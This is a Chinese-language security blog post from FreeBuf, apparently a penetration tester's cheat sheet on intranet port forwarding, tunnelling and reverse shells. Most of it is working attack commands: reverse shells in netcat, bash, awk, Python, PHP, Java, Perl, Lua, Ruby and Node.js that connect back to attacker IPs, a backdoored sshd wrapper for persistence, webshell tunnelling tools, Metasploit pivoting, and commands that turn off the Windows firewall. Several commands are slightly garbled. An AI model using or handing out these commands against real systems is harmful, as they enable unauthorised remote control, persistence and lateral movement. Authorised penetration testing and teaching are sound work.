freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网小组 | 端口转发 全剧终
2021-03-18 01:28:01
所属地 江苏省

本文作者: 掉到鱼缸里的猫(Ms08067内网安全小组成员)

文章来源|MS08067 内网安全知识星球

内网纵横四海 认准Ms08067


NetCat

方法一:

靶机:

mkfifo /tmp/fifo 
cat /tmp/fifo| nc 想要转发的目标 想要转发到的端口 | nc -lp 监听端口> /tmp/fif

攻击机:nc -nv 靶机IP 靶机监听端口

反向Shell:

靶机:

方法一:nc -t -e cmd.exe 攻击机IP 攻击机监听端口
方法二:cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目标IP 端口 > /tmp/fifo
方法三:nc -e /bin/sh 10.0.3.4 4444 (后期的nc就没有-e的选项了)
攻击机(公网):nc -lvp 监听端口-e的选项了)攻击机(公网):nc -lvp 监听端口

不能转发3389

正向shell

靶机:

$ mkfifo /tmp/fifo 
$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 本地端口 > /tmp/fifo 12

攻击机:nc 目标IP 端口

lcx


服务端:lcx -slave 公网IP 公网端口 本地IP 本地端口

公网客户端:lcx -listen 远程端口 本地端口

客户端连接本地端口,对应于连接远程端口

先启动listen,再启动slave

reGeorg

服务端:上传脚本到Web目录,服务器要求打开 enable_dl 功能

同时安装 php_sockets扩展客户端:

reGeorgSocksProxy.py -p 本地端口 -u http://目标服务器上的脚本

使用Proxifier将需要的流量引入本地端口sock5模式

有脚本可以指定不使用sock5协议

Tunna

靶机:上传脚本到Web目录,PHP就不要用了,及其不稳定
攻击机:proxy.py -u http://脚本地址 -l 本地端口 -r 目标端口(服务器) -v

使用Proxifier将需要的流量引入本地端口sock5模式

使用 -n 参数关闭sock协议
image.png

这个False问题不大

不能用linux的rdesktop连接,要用Windows的远程桌面连接

image.png

这种情况问题也不大

点击是之前再运行一次脚本就行

reDuh

服务端:上传脚本到Web目录

客户端:java -jar reDuhClient.jar http://脚本位置 进行连接

本地连接java返回的本地端口 nc -vv localhost 本地端口

在命令提示符中输入 [createTunnel]本地空闲端口:目标地址(想要访问的目标内网地址):目 标端口

htran

服务器(目标主机):htran -slave 跳板IP 跳板port 本地ip 本地端口

跳板机:htran -tran 跳板port 公网IP 公网端口

客户端(公网主机):htran -listen 公网监听端口 流量接收端口

socat

靶机:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公网IP:公网端口

攻击机:socat TCP-LISTEN:端口 - ,nc监听也行

SSH

穿透两个网络

公网跳板A:跳板A在B和C的两个内网中间

打开sshd的Gateway功能:修改/etc/ssh/sshd_config,将 GatewayPorts 设置为yes内网1中的B:ssh -p 22 -qngfNTR A监听端:localhost:22 A用户@A地址内网2中的C:ssh -p A监听的端口 B用户@A地址

本地流量转发

image.png

为什么说是“本地”(单纯的-L选项):

本地端口转发绑定的是 lookback 接口,这意味着只有localhost 或者 127.0.0.1 才能使用本机的端口转发 ,
其他机器发起的连接只会得到“ connection refused. ”

但是可以利用GatewayPorts(-g)关键字来与其他机器共享这个本地转发端口。

远程转发

image.png

动态转发

image.png

两层ssh

image.png

#Server2
ssh -CfNg -D 8882 User_Server3@Server3
#Server1
ssh -CfNg -L 8080:Server2:8882User_Server2@Server2
客户端socks5代理Server1:8080

NPS

Earthworm(EW)

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

iox

  • 具有流量加密
  • 友好的命令行参数
  • 逻辑优化
  • UDP流量转发
  • https://github.com/EddieIvan01/iox

ngrok

各种系统都支持,支持内网穿透

利用IIS端口共享功能

……说实话,没来得及尝试,单看文档没看懂

利用IIS的端口共享功能绕过防火墙

反弹shell

NC/Telent

telnet 可以换成 nc

方法一:

攻击机nc监听:nc -lp 空闲端口
服务端(靶机):mknod a p;telnet 攻击机IP 攻击机端口 0<a | /bin/bash 1>a

成功后没有提示,尝试命令即可

mknod命令中,a表示这个管道的名,p表示这个管道为FIFO(先进先出)和mkfifo一样,就是后面mkfifo/tmp/backpipe1这种

方法二:

攻击机:nc-lp 6666,nc-lp 5555,在监听的6666的nc上输入命令,在5555的nc上看返回的消息
靶机:telnet 攻击机 IP 6666| /bin/bash | telnet 攻击机 IP 5555

方法三:

靶机执行:netcat -lvp 5555 -e /bin/sh 
攻击机执行:nc 靶机IP 靶机端口

方法四:

攻击机执行:nc-lvvp 5555
靶机执行:nc 攻击机IP 端口 -t -e /bin/bash

方法五:

mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回连地址6666 1 > /tmp/backpipe1

并不是所有的NC都有-e选项……有些设备可能/bin下面没有nc,但是busybox可以啊

bash 反弹shell

服务端:bash -i >& /dev/tcp/公网IP/公网端口 0>&1                                                                  客户端:nc -lvvp 端口

加密流量参看权限维持笔记

利用awk、gawk

1. 攻击机执行监听

2. 靶机执行

awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

Python 反弹shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
s.connect(("公网IP",目标端口)); 
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);

命令行直接执行 python -c '代码'

eval(__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))

php反弹shell

$sock=fsockopen("公网IP",端口); 
exec("/bin/sh -i <&3 >&3 2>&3");

命令行执行 php -r '代码'

java反弹shell

public class Revs {
 /** 
* @param args 
* @throws Exception 
*/
public static void main(String[] args) throws Exception {
 // TODO Auto-generated method stub 
Runtime r = Runtime.getRuntime(); 
String cmd[]= {"/bin/bash","-c","exec 
5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"}; 
Process p = r.exec(cmd); p.waitFor(); } }
public class Test {
 public static void main(String[] args) throws Exception {
  // TODO Auto-generated method stub 
  Runtime r=Runtime.getRuntime();
  Process p=r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"}); 
  p.waitFor(); 
  } 
}

Perl反弹Shell

use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in(端口,inet_aton("公网IP")))) 
{
open(STDIN,">&S"); 
open(STDOUT,">&S"); 
open(STDERR,">&S"); 
exec("/bin/sh -i"); 
};

命令行执行 perl -e ‘代码’

perl -MIO -e '$p=fork; 
exit,if($p); 
$c=new 
IO::Socket::INET(PeerAddr,"1.1.1.1:8080"); 
STDIN->fdopen($c,r); 
$~->fdopen($c,w);system$_ while<>;'

Lua

lua -e 
"require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd," r"){|io|c.print io.read}end'

Node.js

(function(){ 
var net = require("net"), 
cp = require("child_process"), 
sh = cp.spawn("/bin/sh", []); 
var client = new net.Socket(); 
client.connect(8080, "10.17.26.64", function(){ 
client.pipe(sh.stdin); 
sh.stdout.pipe(client); 
sh.stderr.pipe(client); 
}); 
return /a/; 
})();

利用sshd反弹shell


方法一:

1. 靶机执行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080; 
2. 攻击机执行:ssh root@目标 -p 设置的端口 需要密码

方法二:

1. 靶机执行:


cd /usr/sbin/ 
mv sshd ../bin/ 
echo '#!/usr/bin/perl' >sshd 
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd 
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd 
chmod u+x sshd 
/etc/init.d/sshd restart

2. 攻击机执行:

socat STDIO TCP4:192.168.1.129:22,sourceport=13377

MSF 反弹shell 一句话


msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'
image.png

xterm下反弹


  • 靶机运行 xterm -display 目标地址:1
  • 接收方运行 xnest :1

image.png

Metasploit穿透双层网络


image.png

攻击机通过两层跳板,对192.168.12.0/24网络进行扫描

1. 攻击机获得双网卡主机A的meterpreter会话

2. 执行命令,创建路由规则,只要会话不断开Metasploit框架就可以访问192.168.11.0/24网段

meterpreter> run autoroute -s 192.168.11.0/24

3. 配置流量转发代理

meterpreter> background 
msf> use auxiliary/server/socks4a 
msf auxiliary(socks4a)> set srvhost 本机地址 
msf auxiliary(socks4a)> set srvport 想要监听的端口 
msf auxiliary(socks4a)> run

4. 在proxychains配置文件中添加sock4代理规则,即可通过proxychains实现流量转发

5. 实现端口转发

meterpreter> portfwd add -L 本地地址 -l 本地空闲端口 -p 目标端口 -r 目标地址

6.获取双网卡主机B的控制权(使用bindTCP的payload,因为反向shell无法路由到攻击机),获取到meterpreter会话之后添加路由规则

meterpreter> run autoroute -s 192.168.12.0/24

7. 再次配置流量转发代理(再开个新端口)

msf auxiliary(socks4a) > set SRVPORT 空闲端口

8. 修改proxychains配置文件,取消下文的注释,添加新的socks4代理


dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000

利用系统自带功能

Windows 双网卡路由


双网卡Windows主机作为路由:

1.通过注册表允许网卡进行流量转发: 修改注册表

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter

2. 开启 Routing and Remote Access 服务

3. 两侧主机添加静态路由规则,路由指向双网卡主机

Windows netsh命令端口转发


管理员权限cmd执行

netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地端口 connectaddress=转发目标 connectport=转发端口 ( add 换成 delete 就是删除啦~)

不成功的话,先关闭防火墙

netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off

查看端口映射配置:

netsh interface portproxy show all

1.为e:\f.exe 添加防火墙规则,需要管理员权限。

>netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow

删除

netsh advfirewall firewall delete rule name="f.exe"

2、添加端口

netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow

删除

netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080

iptables:

image.png

  • PREROUTING:在进行路由判断之前所要进行的规则(DNAT/REDIRECT)(数据包进入主机后第一步),决定目标地址的改变与否 + 上下路的判定(是过滤型防火墙还是NAT防火墙)。
  • INPUT:处理入站的数据包
  • OUTPUT:处理出站的数据包
  • FORWARD:是否允许被防火墙继续转发 + 是否允许使用Linux的路由/转发功能。
  • POSTROUTING:对数据包在经过路由表之后,最后一个处理步骤(数据包流出主机前最后的步骤),决定数据包是否需要改变 源地址。

两条链重要功能在于修改IP,而这两条链修改的IP又是不一样的,POSTROUTING在修改来源IP,PREROUTING则在修改目标IP 。

由于修改的 IP 不一样,所以就称为来源NAT (Source NAT, SNAT) 及目标 NAT (Destination NAT, DNAT)。

只用POSTROUTING:从请求侧来看的话,只修改源IP

image.png

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212

两个结合起来就可以当做端口转发了:

iptables -t nat -A PREROUTING -p tcp --dport 本机监听端口 -j DNAT --to- destination 目标IP:端口 
iptables -t nat -A POSTROUTING -d 目标主机 -j SNAT --to-source 本机IP

参考
常见端口转发工具的使用方式

浅谈内网端口转发

Linux iptables用法与NAT

# web安全 # 内网渗透 # 内网安全渗透测试 # 内网安全 # 内网转发
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者